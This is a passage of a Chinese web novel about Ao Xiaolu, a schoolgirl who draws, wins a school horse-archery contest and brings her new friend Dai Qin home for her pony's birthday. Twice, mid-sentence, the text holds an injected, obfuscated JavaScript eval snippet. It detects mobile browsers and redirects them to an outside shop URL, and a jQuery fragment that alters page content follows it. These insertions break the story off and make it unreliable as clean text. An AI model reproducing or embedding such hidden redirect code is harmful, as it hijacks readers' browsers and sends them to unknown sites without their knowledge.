敖小陆怔了片刻,后知后觉地意识到:好漂亮的画面,她应该在自己的画里。 对了,初见的时候也是这样,她觉得对方应该在自己的画里。 当天晚上,敖小陆就把这一幕画进了自己的素描本。 从她学画画开始,父母都极尽可能地满足她的需求,让她能够充足地发挥自己的画画才能。这就导致了她的素描本上有很多东西,有背着箩筐笑容灿烂的阿婆,有在母亲背后睁大眼睛的懵懂小孩,也有转着经筒朝圣的虔诚僧侣…… 但凡是她见过的美好东西,她都会一一记录在素描本上。 不过将同龄的少女记录在自己的画册上,还是头一回。她一连画了好几张都不满意,以至于一整个周末都在家里抱着素描本,废寝忘食,孜孜不倦。 绘画是一件需要高度专注才能完成的事情,一旦敖小陆进入状态,就会全身心投入其中。就算到了晚饭时间,妈妈喊了她好几声,她都听不见。 “唉……这孩子……”饭点时间,敖小陆的妈妈阿尔丽望着摆在桌面上的三菜一汤,叹了口气,“一回来就画画,也不知道画的什么,这么入迷。” 坐在一旁的陈父陈新木正在往烟斗里塞着今年从南方新进来的烟丝,笑眯眯道:“她想画就让她画呗,把饭菜放锅里,等她画完了,肚子饿了,自己回去找吃的,你那么操心干嘛。” 阿尔丽瞪了他一眼:“到时候饭菜都凉了。”她抬手在丈夫的肩膀上打了一下,“别抽烟了,吃饭呢!” 被妻子这么一训斥,陈新木悻悻地收回了点烟的手。这时阿尔丽抬头,看向拿着碗筷从厨房里出来的小女儿,使唤了一句:“羊羊,上楼把你姐喊下来吃饭。” “哦。”敖小河得了指令,放下碗筷,迈着自己的小短腿上了楼,直接朝敖小陆去了。 陈家距离学校不远,离市中心差了几条街的距离,靠着做木工的陈父,与做裁缝的陈母,自建了一间两层楼的房子。 房子前面是一个大院子,左边搭了个木棚,专门放陈父的木材。右边则种了一棵枣树,枣树下搭了一株葡萄藤,在旁边挖了块地种了些瓜果时蔬。 后院则是马棚还有鸡棚,养着敖小陆的小马小梅和父亲的大马二黑,以及母亲的小鸡小鸭。 敖小陆的房间就在二楼,每天早晨推开窗,都能看到楼下那棵长得歪七扭八的枣树。 敖小河踩着楼梯磴磴蹬地上了二楼,熟门熟路地推开姐姐的房间,喊了一声:“姐,吃饭了!” 十二岁的敖小河,刚上六年级,正是和小男孩互相殴打的年纪,嗓门大得狠。她这么一喊,险些将敖小陆吓得魂飞魄散。 敖小陆吓得抬头看了她一眼,见是妹妹,毫不留情地挥手:“去去去,不要打扰我,你自己去吃。” 妹妹的呼唤只是让她回了片刻神,紧接着她继续盘腿坐在地上,抱着素描本,涂涂画画了起来。 敖小河喊不动她,想了想脱了鞋子,绕着地上散落的画本,书籍,颜料盒子,草稿纸等等满地狼藉,光着脚走到了她身后,俯身看向她的素描本。 只见原本空无一物的素描本上,出现了一个侧身躲风的少女。小小的孩子望着素描笔下,被细腻勾勒出来的光影,惊呼了一声:“哇……好漂亮的姐姐……” 她 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一开始敖小河也是这么想的,但随着年岁渐长,她越来越觉得,比起精湛的画工,她姐姐脑子里那些天马行空的想法,更加出色。 记得敖小陆初中的时候有一回参加一个绘画比赛,主题是“我的家园”。很多人画了草原的牛羊,苍穹,老鹰,还有白云,以及马,但她画了松林山。 以松林山山坡上那一刻形似神鹿的松树为中心,以四周无数的松树为幕布,绘制了一条蜿蜒的松树银河。在“银河”之中,绿色的松树枝叶为河水,挂着点点星光的松果为各式各样的辽阔星系,绘制了一片璀璨银河,形象又生动。 敖小河对那幅画印象很深刻,虽然那幅画没有拿到特等奖,只拿到了金奖,但对年纪尚小的孩子来说,仍旧震撼不已。 不过后来敖小陆就不怎么画这样的画了。她开始热衷于写实的东西,暑假的时候无论去哪里,每天带着一本素描本,将自己看到的东西画下来。 就像现在这样。 敖小河望着素描本上的人物形象越发的完善,甚至在细腻的笔触勾勒间,看到少女那一缕一缕明亮光泽的发丝,心里忍不住地发生赞叹:虽然姐姐不再画那些梦境一样的画了,但是现在这样的画,同样也好厉害啊。 小小的孩子抬眸,看向敖小陆,眼里闪闪发光:啊,果然,她的姐姐好厉害! 阿尔丽没想到自己派去的小使者折在了里面,眼见十分钟过去了,她忍不住扯开嗓子喊:“敖小陆!敖小河!你们赶快下来给我吃饭!” “不然我就揍你们了!” 只可惜,楼上的姐妹二人,完全沉浸在自己的世界里,并没有搭理她的意思。眼见阿尔丽就要生气了,一旁的丈夫连忙伸手,拉着她坐下:“好啦好啦,她们都多久没有一起玩了,你就让她们玩嘛。” “她们不在正好,我们就自己吃吧。”陈新木这么说着,给阿尔丽夹了一块羊肉,放在她碗里,“我们吃我们的,等她们饿了再吃吧。” 阿尔丽也没有别的办法,瞪了他一眼,凶巴巴地:“你就惯着她们吧!” 周末很快就过去了,周日傍晚的时候,敖小陆背着自己的书包,着急忙慌地准备出门,刚下楼呢就被阿尔丽拽住了。 敖小陆扭头看向妈妈,脸上写满了不解:“怎么了妈妈?” 阿尔丽踮起脚,将她头上那顶旧旧的狍子帽摘下来,絮絮叨叨的:“天气冷了,我给你做了顶新帽子,以后你就戴这顶。” 话音落下,一个毛茸茸的灰白色狐皮帽子,压在了她的头顶上。 暖烘烘的,比起以前的旧帽子要蓬松,敖小陆不适地皱了皱鼻子。她抬手将新帽子摘了下来,重新戴上旧帽子,小狗一样往外冲:“谢谢妈妈。” 阿尔丽见她三两下就冲到了门口,扭头望着她的背影喊道:“小心点,别被马和车撞了。” “好咧!” 13. 敖小陆与小马 纵使有母亲的叮咛,可敖小陆还是疾跑了一阵,紧赶慢赶,总算踩着点来到了教室。她刚一坐下,上课铃声响起,戴琴扫了她一眼,淡淡开口:“你再晚一点,就要迟到了。” 敖小陆累得半死,趴在桌面上气喘吁吁,根本没力气回她。戴琴拿起了英语课本,一边起身,一边轻声道:“你的水杯我给你打满了,喝两口水缓缓吧。” 她嘱咐了两句,拿着课本动身走向讲台,准备开始领读。 经过敖小陆身旁时,对方忽而伸手,一把将她拽住了:“等下。” 戴琴停下脚步,偏头看她,满眼不解。敖小陆拽着她的袖子,深吸一口气,从桌面上帕起来,打开自己的书包,从里面掏出一顶帽子,迅速起身,“啪”地一下精准地盖在戴琴头上。 脑袋上传来一种柔软的桎梏感,戴琴垂眸,看着重新坐下的敖小陆眼里都是疑惑。 敖小陆单手撑在桌面上,挥了挥手,不甚在意道:“去吧,你该去领读了。” 她不作任何解释,戴琴也不好多问些什么,眼看领读的时间到了,只好顶着这顶帽子登台领读。 就这样,她戴着一顶不适应的帽子,在台上领读了一节课。 下来的时候,戴琴摘下头上的帽子,递给了敖小陆:“还你。”敖小陆甩甩手,一连地无所谓,“送你了。” 戴琴一时怔住了,她沉默了片刻,敖小陆掀起眼皮,冲她浅浅笑道:“秋风很急,凛冬将至,你有一顶帽子的话,会减少头疼脑热的风险。” 她说这伸手,将戴琴的手推了回去,小心翼翼地开口:“我们现在是朋友了吧?作为朋友,送你一顶帽子不过分吧。” 若是之前,戴琴肯定是不收的。可她还没有铁石心肠到面对一个多次帮助自己的人无动于衷。这是她第一次从外人那里收到礼物,难免有些心绪起伏。 握在手里的帽子毛茸茸的,摸着的手感很软,戴着也很暖,像她此刻的心。 戴琴点点头,矜持地应了一句:“嗯,谢谢。” 见她总算是收了,敖小陆也忍不住笑了起来:“不客气!” 女孩子的友谊是很奇妙的,不认识的时候,就算在同一个地方,天天见面,也可以像银河两侧的牛郎织女星那样,毫无交集。 可是一旦相熟,发生交流,又会如同连体婴那般,天天粘在一起。 比如敖小陆和戴琴,班上的女同学最近都觉得她们班的班长和副班长最近有点好过头了。 暂且不说结伴去食堂这件事,就连先前大家一起玩的捶丸,也变成了她们两人一对一的游戏。更不要说,每天晚自习结束之后,她们都会一起结伴而行,在操场上溜达。 当然,最后那件事是某个和男同学一起在操场散步的同学偶然发现的。 总而言之,大家都觉得最近班长很忙,很难约到她一起玩。 但班长本人一无所觉,每天晚上都很高兴地陪着自己的同桌绕着操场走。对方捧着单词卡背单词,而她就在一旁叽叽喳喳地介绍自己认识的星空。 深秋的九曲河市,有着异常美丽的星空。秋风吹走了笼罩在天空上的乌云,漆黑的深夜里,如同玫瑰那般瑰丽的夜幕上满布星辰,每一颗都好似铺满清澈河底的各色鹅卵石,闪闪发光。 徐徐冷风里,敖小陆踩着操场上枯黄的草,戴着帽子指向天空。 关于这片她生活的星空,敖小陆知道很多有关于它的事。 她知道启明星什么时候亮起,知道北极星在哪个方向。知道十二星座的形状,还知道什么是“春季大三角”,还会唱夏季星空的小歌谣。 戴琴很好奇她这些知识是从哪里来的,毕竟敖小陆也不像爱看书的样子,怎么脑袋里能记那么多东西。 敖小陆就笑着和她解释:“小时候有一个从首都来的摄影师,很喜欢到我额么格的家乡拍照。” “为了拍到松林山最好的星空,她几乎每年都会来,住在我额么格家里,教了我很多东西。” 敖小陆顿了顿:“我画画也是她教的,她给我送了很多画笔。” 戴琴了然:“原来如此。” 难怪她总觉得敖小陆和她们这里的小孩不太一样,原来有个这么特殊的老师。 敖小陆笑笑,面朝着她蹦蹦跳跳地倒着走:“你知道松林山在哪里吗?那里有一颗很大很大松树,躯干是弯的,枝桠都长在左边,远远看过去很像一只神鹿。” “初夏的时候,有很大概率会遇到流星雨,那时候的天空非常好看。” “我小时候站在树下许过愿,要是有机会的话,我带你去许愿吧,很灵的。” 这不是戴琴第一次被邀请,只不过以往邀请她的人只是客套,但面前的敖小陆不一样,她知道她是真心的。 她不想拒绝她,想了想回答道:“到时候再说吧。” 敖小陆一下就高兴了:“好啊,明年如果有流星雨,我就带你去。” 两人做下了约定,笃定得仿佛明年真的要是有流星雨,就一定会去看。不过比起遥不可及的流星雨,戴琴率先见到的,是敖小陆之前提过的小马。 那是在不久之后的一个秋日午后,全校运动会上,为了参加比赛,敖小陆牵来了她家小马。 九曲河市大部分地区都是草原,中秋过后,昼夜温差极大。明明清晨还会在枯黄的干草上凝结秋霜,到了下午,烈日炎炎,晒得人几乎睁不开眼。 再加上作为比赛场地的隔壁马场,几乎就这么大咧咧地建造在一片宽阔无垠的草场上,毫无高大树木与建筑物的遮挡,强烈的紫外线照下来,人踩在地面上,都要被太阳烤糊了。 戴琴体弱,并没有参加任何比赛,而是作为统领后勤的人员,躲在学生会安置下的太阳伞下,组织班上的学生写广播稿。 绕是如此,她还是热得晕头转向,一张小脸绯红,只觉得自己隐隐要中暑。 敖小陆就是在这时候牵着马来的,她的身影几乎是一出现在马场门口,班上的女生就纷纷簇拥过去。 “哇,这就是小梅嘛,长得好可爱啊!” 身边抄写广播稿的人空了一大块,戴琴不禁转头,朝身后看去。却见班上那个汉族少女,抚摸着一匹身上布满梅花斑的棕色小马,双眼亮晶晶的:“我可以骑一下它吗?” 小马大概有敖小陆的肩那么高,马脸上有一道很鲜明的白色竖纹,被敖小陆牵在手里,一双大眼睛滴溜溜地转,看起来非常的活泼可爱。 戴琴瞥了又瞥,只见敖小陆一手牵着马,另一手摸摸马脸,笑眯眯的:“那我问问它,它愿不愿意让你骑。” 戴琴一看就知道,这又是敖小陆逗女孩子的把戏。偏生班上的女生很吃她这一套,兴奋地点了点头:“嗯嗯嗯!” 于是她便看到,敖小陆贴近小马,拉起她的耳朵,小声嘀咕了几句。话音落下,小马抬起前蹄,甩着马脸欢快地打了个鸣。 敖小陆垂眸看着询问她的汉族女孩,笑着道:“它说愿意让你上去。” “哇!”女孩赞叹了一声,在敖小陆的搀扶之下,一脸亢奋地骑上了她的小梅花马。得到赞赏的小马可骄傲了,载着少女跺着步,昂首挺胸地往前走了几步,神奇到不行。 旁边的人见了艳羡不已,凑到敖小陆身边,叽叽喳喳的:“我也想骑……” “我也想骑……” 敖小陆脾气特别好,温声安抚道:“好好好,大家排队一个一个来。” 大家都很配合地排好队,等着上马溜达一下。敖小陆一边安排队伍,眼角的余光一边不经意地朝戴琴的方向瞥。两人的视线在空中撞上,戴琴假装不经意地收回了视线,握着笔重新落在自己的广播稿上。 敖小陆挑眉,佯装无意地开口:“啊……”她拉长了声音,“既然大家这么喜欢我们家小梅花,一会比赛的时候,记得要给我们小梅写广播稿夸夸它哦。” 众人热情应和:“好的!” 敖小陆看着戴琴无动于衷的背影,稍稍提高了音量:“还有副班长也是,记得尽好班长职责,不要忘记给我写广播稿哦。” 戴琴握着水性笔的手一顿,在心里想到:都那么多人给你写了,还让她写,广播员读得过来嘛。 尽管如此,她还是哼了一声:“嗯。” 比赛很快就快开始了,因为下午是高一的骑射,还有捡哈达,赛马。这三项都需要骑马,比起单纯的跑步三千米要惊险刺激,所以就算天气炎热,赛场观众席上也围了很多人。 凡是与马有关的传统蒙古族运动项目,无论男女都可以参加。 比如率先开场的骑射,参赛者需要自备马匹与弓箭。规则是三轮九箭,即每人每轮只许射三支箭,以中靶数的多少定前三名。 考虑到男女体力的差异,这次箭靶距离设置在二十五步之外。 比赛一开场,参与比赛的高一学生背负弓箭,骑在马上拽着缰绳站在起跑线上,望着前方蓄势待发。 高温爆烤下,选手们稚嫩的小脸晒得一片通红。他们望着远处的箭靶,视线逐渐扭曲,涣散,额头与手掌心也沁出了汗水。 似乎受主人的影响,他们身下的小马驹也紧张地刨着后蹄,刨出了一片尘土飞扬。 戴琴抱着一堆广播稿,登上了主席台,将其交给了广播站的学姐。下来的时候扭头,看向了骑射的等候区。 滚滚尘埃里,学生们拽紧缰绳,匍匐着身体看向前方,蓄势待发,杀气腾腾。在这样紧张的氛围里,偏偏有一个人拽着缰绳,垂眸看着自己的小马,笑着拍了拍她的脑袋,温柔安抚。 戴琴顿时松了一口气,心想也不用那么担心嘛。 心刚落下,广播声忽然响起:“九曲河高中第五届全校运动会,骑射项目,正式开始。” “预备——跑!” 发令枪响,万马奔腾,掀起滚滚尘烟,直奔向射击点! 震天的马蹄声中,全场观众都沸腾起来了,满场都是高一十二班女生的尖叫:“敖小陆!敖小陆!” 欢呼声中,戴琴站在主席台的台阶上,迅速去搜寻敖小陆的身影。敖小陆实在是太辨认了,哪怕是尘埃滚滚里,也能被一眼找到。 只见敖小陆一身金黄衣袍,头上戴着一顶狍子帽,双脚牢牢地踩在马镫上,骑着颠簸的马儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240091|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直立起身,抽弓搭箭,对准了第一个箭靶,猛然松开弓弦! “咄!”箭羽破空,无情地穿透箭靶,深深地扎在了上面。 观众席上爆发出了一阵欢呼声! 骏马奔腾,很快来到第二个箭靶位,她迅速抽箭,搭在弓弦上,再次对准了箭靶—— “咄!” 这时观众台上完全疯了:“敖小陆!敖小陆!” “三箭齐发敖小陆!” “一箭不落敖小陆!” 女孩子们的口号喊得极为嚣张,敖小陆抽出第三支箭,又一次搭弓射箭——“咄!” 三箭齐中,不负众望地赢得了全场的喝彩声。 欢呼声中,敖小陆踩在马镫上,身体随着滚滚马流颠簸,上半身巍然不动。她一手举着自己的弓箭,另一手放在自己耳朵旁,大声道:“你们在喊什么,我听不见!” 奔腾的马蹄声里,女孩子们在喊:“敖小陆!敖小陆!” 敖小陆骑着马,在内场策马奔跑了大半个圈,故意逗她们:“你们再喊什么,再大声点,我听不见!” 有人直接喊破了嗓子:“敖小陆!敖小陆!” “一箭不落敖小陆!” 戴琴站在主席台上,将这一幕全然纳入眼底。她看着那个策马奔腾,意气风发的少女,心想难怪那么多人喜欢和她做朋友。 只不过这个人也太臭屁了吧,这才比了第一轮呢。这么嚣张,不怕输掉吗? 戴琴想着想着,忍不住笑出了声。她摇摇头,走下台阶,一面在想敖小陆方才三箭中靶的英姿,一面又在想,对方有那么一大堆朋友应援,只怕是用不到她们写的那些广播稿了。 事实证明,敖小陆的确有嚣张的资本。接下来的两轮比赛了,她以特别优异的成绩拿下了比赛的冠军。 她不仅拿了骑射的冠军,还有哈达比赛,以及骑马比赛的冠军。 班上的巴雅尔嫉妒死了,看到敖小陆风风光光地捧回那么多奖状,酸溜溜地说:“要我说,骑射就不应该才设置二十五步,这不是在照顾女人嘛!” “好男子汉就应该射五十步。” 敖小陆抱着奖状,扫了他一眼,淡淡道:“那请问这位好男子汉,你二十五步中了几靶啊?” 巴雅尔一下嗫嚅起来,支支吾吾地不说话了。 敖小陆也懒得和他计较,下午的比赛都比完了,她现在得将自己的小马牵回家。 彼时太阳悬在空中西方的天空,散发着最后的余热,晒得天边一片红彤彤。 晚霞明艳又灿烂,好似火在烧。原本人满为患的会场人潮散去,只余下三两后勤人员,正在收拾桌案。敖小陆站在会场门口,扭头看向操场,恰好看到戴琴忙碌的背影。 她牵着小马,想了想唤了一声:“戴琴……” 戴琴扭头朝她看来,连带着周围的同学也一并看了过来,眼睛里含着一模一样的疑惑。 敖小陆笑了起来,伸手指了指自己小马:“要不要试试我的小马?” 戴琴收回了自己的目光,淡淡道:“不要。” 她拒绝得毫不留情,敖小陆“唉”了一声,牵着小马走到她身边,揪着她的袖角撇了撇嘴:“你怎么能说不要呢。” “她可喜欢你,刚才和我说了好久,想要被你骑呢。” 为了证明自己说的是真的,她转过戴琴的身体,让她看自己的小马:“你看,它一看到你就双眼亮晶晶的。” 小马是一匹很乖的小马,哪怕自己的主人撒谎不打草稿,它也能忠诚地掩饰掉对方的谎言。 为了证明自己主人说的是真话,小马打了个喷嚏,抬起前足,呜哇乱叫了几声。 敖小陆指着小马的模样,很是殷切道:“我就说它很喜欢你吧。” 戴琴可是见过它对其它女孩子的殷勤模样,对此无动于衷:“我看它对哪个女孩子都说喜欢。” 小马不乐意了,小马刨了刨地面,偏过头露出伤心的样子。 敖小陆“哇哦”一声,拉着缰绳和戴琴控诉:“你惹它伤心了。” 还没等戴琴辩驳,一旁的同学忍不住笑出了声。 不知道为什么,戴琴听到这笑声,觉得耳朵有些发烫。 偏生敖小陆一无所觉,还在火上浇油,抱着它的小马挨着她的头,语气极为幽怨:“小马啊小马,我可怜的小马,你和你的主人一样惨。” “你的主人没有听到朋友写的广播稿,你也没有得到喜欢的人摸一摸,咱们难姐难妹,实在是太凄凉了。” 敖小陆就是个戏精,想到什么就演什么,非常的任性妄为。 平常在自己桌位里演演就算了,现在还有外人,简直要把戴琴逼死。 戴琴受不了她这个厚脸皮,转过头看向她,叹着气道:“那你想怎么样?” 敖小陆见她上钩,歪着脑袋和小马靠在一起,露出了得逞了的笑容:“我的小马说,它想邀请你回家。” 敖小陆说得俏皮,戴琴却有种骑虎难下的感觉,她有些后悔自己为什么要多嘴问那一句了。 她叹了口气,语气很无奈:“好。” 14. 第一次访问朋友 戴琴骑上了敖小陆的小马,在她的牵引下,走出校门,踏着火烧云跟着敖小陆回家。抛开小学时期的邻居不谈,这还是戴琴第一次去同学家。走出校门的一路上,她都有些忐忑。 幸好敖小陆家并不远,从校门口出来,右拐下坡,经过一个路口,再经过一条河,就到了敖小陆家附近。 中秋已经过了好一阵子,草场上的草早早被收割,如今早就是一片枯黄。可是河边的草却是青的,倒影在清澈的水面上,清泠泠的。 河中间架着一座水泥桥,左右两边栽种着垂柳。远远地,还没靠近,敖小陆就指着右边的第三棵柳树,对戴琴道:“那就是我家。” 戴琴点点头,抓紧身下的马鞍,喉咙一阵发紧:“那还挺近的。” 她评价了一句,扭头看向敖小陆:“你家住得那么近,又有马,你为什么不走读?” “嗯……”敖小陆想了想,好一会才回答:“可能是因为我很喜欢住校吧。” 她这么说着,牵着小马往前走:“走吧,今天小梅跑了一下午,跑得满身灰,我带它去河里洗洗。” 敖小陆加快了脚步,很快来到了桥边,让小梅屈下前膝,把戴琴放下来。 戴琴从它身上下来,站在一旁很是惊讶:“它真的好听话,比我养的小狗听话多了。” 敖小陆松开缰绳,开始脱鞋袜,嘴里还哼哼唧唧的:“那是,我们小梅可听话了,还会听着音乐跳舞呢。” 如果戴琴对马稍微了解一点,就知道敖小陆这匹马,是难得一见的花斑马,极通人性,也不易调教。 听到敖小陆这么说,戴琴相当质疑:“我不信,除非你下次让我看看。” “不用下次,回家就给你看看。”敖小陆脱下鞋袜,挽起裤脚之后,卸下小梅身上的马鞍,拽着缰绳将它拉入河里。 河水很浅,清澈见底,恰好没过敖小陆的小腿。刺骨的冷水让敖小陆打了个抖:“哇,好凉……” 戴琴站在桥上,俯身看她,客观地评价了一句:“你应该明天中午给它洗澡的,有太阳就不会那么冷。” “明天中午就没意义了。”敖小陆随口应了一句,拉着缰绳示意小梅下来。小梅踏入了冰冷的河水中,顺从地跪了下来,跪满了小半的河水。 水面一下就高涨了,没过敖小陆的膝盖,打湿了她挽起的裤腿。 戴琴索性依靠在桥墩上,托着下巴看她:“为什么明天就意义了?” 敖小陆挽起袖子,开始给小梅泼水:“因为今天是小梅的生日,它很爱干净的,所以今天要干干净净地过。” 小马很喜欢洗澡,被泼了一身水之后高兴地揺起尾巴,小狗似的。 敖小陆给它泼了一身水后,迈步走向河岸,开始扒拉河草。 戴琴轻“呀”了一声,望着敖小陆扒拉河草的背影调侃了一句:“你还挺有爱心的,会给自己的宠物过生日。” 敖小陆从河岸边扒拉来一些河草,沾了一大捧水,开始替小梅擦拭着身体,:“小梅不是我的宠物,它是我的伙伴,我当然要给它过生日。” 她说这句话的时候,语气极为温柔,眼里都是笑,笑容明媚到有些扎眼。 夕阳西下,如同一颗硕大的柿子红彤彤地挂在柳树枝头,倒影在河水面上,一片波光粼粼的。 戴琴垂眸,望着下方一人一马和谐相处的情形,难得带了点笑意:“既然是过生日,那你有给她准备好生日礼物吗?” “当然有啊。” 敖小陆应得理所当然,这让戴琴难得好奇,“那是怎样的生日礼物?” “秘密。”敖小陆抬头望了她一眼,笑容俏皮,“你跟我回家就知道了。” 戴琴又有些紧张了,她用脚踢了踢桥面,若无其事道:“这个秘密我也不是很想知道。” 她站在桥墩上,陪着敖小陆洗了一会马,见太阳渐渐往下沉,轻咳了一声:“时间不早了,我要回学校了,你慢慢给小梅庆生吧。” 戴琴迈步就要转身,这时已经洗好澡的小梅从水里起来,甩了甩浑身的鬃毛。飞溅的水花洒了敖小陆满脸,敖小陆惊呼了一声:“小梅!” 她伸出两手,去抱小梅的脑袋,一人一马挨在一起抬眸:“都到家门口了,你还是要回去吗?” “今天小梅没听到你的广播稿就已经足够难过了,难道你还不愿和我一起给它庆生吗?” 这匹棕色的梅花斑马与她的主人一样,有着一双漆黑透亮的眼睛。一人一马挨在一起,产生了一种动人的楚楚可怜。 戴琴也不是很抗拒跟她回家,甚至有些隐隐期待。只是她第一次遇到这样的事,难免不安。 幸好敖小陆一请再请,给足了戴琴台阶,安抚了她的紧张与慌乱。 戴琴压下了自己的情绪,顺从了自己的心意:“那好吧,那我就跟你回家吧。”似乎怕对方多想,她还补充了一句,“不过说好了,这都是为了给小梅庆生。” “嗯嗯嗯。”她的装腔作势,敖小陆抖都毫不在意。见她答应,敖小陆屈指在小梅脸上那一道竖纹挂了挂,“还是小梅你的面子大。” 小梅欢快地打了个鸣,又甩了敖小陆一身水。敖小陆冷了个半死,连忙牵着它从水里出来,上岸扛起马鞍,拎着鞋袜对戴琴道:“冷死我了,走走走,回家。” 行过大桥,来到了河岸居民区的路口,往右拐的第三间房子,就是敖小陆家。 戴琴跟在敖小陆身后,见她推开厚重的木门,映入眼帘的是一棵高大的歪脖子枣树。此时枣树的叶子已逐渐凋零,熟得半青半红的枣子挂在树下依稀可见。 枣树下搭了一个葡萄藤架,藤叶枯黄,几串酸葡萄在上面酸了吧唧地挂着。 这个院子和她家有点相似,一点点得相同让戴琴稍稍放下防备。 不过院子的左边靠墙用铁皮搭了个木棚子,里面堆积了许多奇形怪状的木根材料。一个男人穿着一件破旧的青袄,拿着刻刀坐在木料堆里,正埋头费力地雕刻着。在他的四周,堆积着很多半成品的木雕工艺品。 戴琴顿时紧张起来了。 这个人她见过,开学的时候,戴琴与他打过照面,这应该是敖小陆的父亲。 果不其然,敖小陆往里迈步,开口就是一句:“爸爸,我回来了!” 敖小陆喊人很嗲,和她不一样,敖小陆喊什么都是叠词。原本专心雕东西的男人抬头朝她们瞥了一眼:“哎。” 他似乎是忙于工作,只来得及打了个照面,脑袋好像才反应过来,女儿身边好像还站着什么人。 两秒过后,陈父猝然抬眸,朝她们看来,眼里写满了惊讶。 敖小陆便笑了,抬手指了指戴琴:“戴琴,我朋友!” 被点到的戴琴手足无措,朝对方点了点头:“叔叔好。” 正在雕木头的男人显然也不擅长应付这样的场面,放下自己的刻刀,不自在地摸摸后脖子:“你好你好。” 男人挤出了一个和善的笑,敖小陆带着戴琴往里走:“她今晚在家吃饭哦,我们吃完饭再去学校。” 她自顾自安排好了一切,俨然自己是一家之主。陈父点着头,脸上都是笑:“好的好的……等会你妈妈回来我和她说。” “嗯。” 敖小陆带着戴琴从房子左边的小门,穿到后院,将小梅牵进了干净的马棚里。马棚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240092|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显然是今天刚打扫的,干净的一尘不染。 细心的戴琴还注意到,放入马槽里的粮食,是今年新鲜的麦麸,香甜可口。小梅一进马棚,就高兴地直打鸣。 戴琴站在马棚外,看着正在给小梅顺毛的敖小陆,好奇地问:“马棚是你今天中午打扫的?” 午休时间就那么点,敖小陆竟然能扫得那么快,这也太勤劳了吧。 “嗯。”敖小陆点点头,转过头看向戴琴,“不过我一个人扫不完,最后是爸爸弄干净的。” 戴琴露出惊讶的神情。 比起一般抽烟酗酒打孩子的家庭,她的爸爸已经算是很好的类型了。可就算是这样,逢年过节,她爸爸只会打扫自己的马棚,绝对不会帮妈妈去扫鸡舍,狗窝等等…… 果然,敖小陆家里人都很惯着她,难怪给她养成了这么无法无天的厚脸皮。 被评价为“无法无天厚脸皮”的人牵起戴琴的手:“我带你进我房间看看吧。我先去洗个澡,你在我房间玩一会。” 敖小陆牵着戴琴的手,从后门走进屋里,绕过水缸登上楼梯,走到了敖小陆的房间门口。一推开门,戴琴就丢满屋子的书籍和画稿给震撼住了。 敖小陆抬手,有些不好意思地挠了挠脸:“只是看着乱,不脏的,收拾收拾就能坐了。”她解释着,伸手推着戴琴走进自己的房间,俯身收拾了几分散乱的书籍,将旁白呢的蒲团扯过来拍拍,放在了戴琴旁边:“你坐,你坐……” 戴琴也不好说什么,往后压着裙摆坐在蒲团上,这才仰头将房间四下打量了一番。 陈家二楼是在敖小陆小学四年级的时候新建的,用的材料是红砖,相对来说比较结实。原先最基础的材料,是用石灰刷了几次粉,不过现在都看不出来,全都被敖小陆的画覆盖住了。 画,举目望去,都是敖小陆的画。 画在天花板的,是用蓝紫色涂料,绘制成的夜幕。黑中泛着粉,紫得色彩斑斓里,用白色与金黄色涂出了极为梦幻的星河。 没有开窗的两面墙壁,画着一片幽暗树林,驯鹿群踏着青草轻巧往前,瘦高的萨满领着族人,举着铃铛拐杖踏着月色往前行走,一切都是如此自然静谧。 在壁画下方,摆放了两层小小的书架,此刻都空了大半。戴琴的视线从东往西挪,落在了窗户上。顺着敞开的窗户望去,恰好透过枝叶凋零的枣树,看到远处的夕阳沉沉地陷入白墙红瓦间。 她看了一眼,转过头看向了自己面前。一座高两米,长约一米五左右的定制书架摆在那里。书架是松木做的,露出的纹理很漂亮,上面塞满了各种各样的漫画和小说。 但这不是最稀罕的,稀罕的是摆在戴琴身后的床。 明明是自己家的卧室,敖小陆的床竟然是上床下桌。上床的四个角,用四根好似鹿角的木料搭成柱子,再用四根斜的木棍顶在天花板上,用白色的床单布,搭成了一个小小的蒙古包。 下床定制了一张桌子,然后层层叠叠地往上,就着墙搭了三层书架,有不少奖杯摆在了上面。 戴琴将她的卧室仔细打量了好一番,惊讶地发现,除了书架就是书架,竟然连收纳衣服和被子的衣柜都没有。 “你这……你这……”戴琴只觉得一言难尽。 敖小陆连忙拍她的肩膀:“别介意,别介意。”她全身都被小梅溅了水,现在冻得厉害,只想去洗澡。 她随意抽了一本书递给戴琴,安抚道:“你看会书玩玩啊,我先去洗澡,洗完喊你。” 戴琴垂眸看了眼手上的书籍,上面写着《伊索寓言》,这本书她小时候就看过了,她叹了口气,再抬眸时,敖小陆已经撒丫子跑了。 15. 小马的第一个生日 正主不在,戴琴又开始提心吊胆。可想到这是对方的卧室,稍稍镇定了点。 书她是不会看的,毕竟第一次来别人家里,什么也不做好像也不太好。戴琴微微蹙眉,环顾四周,想了想终究还是起身,捞起敖小陆的书本按照对方大概的排布方式,放回她那些空荡荡的书架上。 大多数思维活跃,想象力丰富的人,都不太擅长收纳。 戴琴和敖小陆同桌那么长时间,就没见她桌面整齐过。什么练习册和书本,小说杂志之类的,乱七八糟叠在一起,每一次找起来都要好一会。 地上的书好整理,没一会就放好了。倒是她那些乱七八糟的颜料画笔不好收,尤其是颜料,戴琴见得少,很难分清楚是什么颜色,又属于哪一套的。只好地毯式搜索了一遍,按照外包装大致拢在一起,拢成一堆放在一旁。 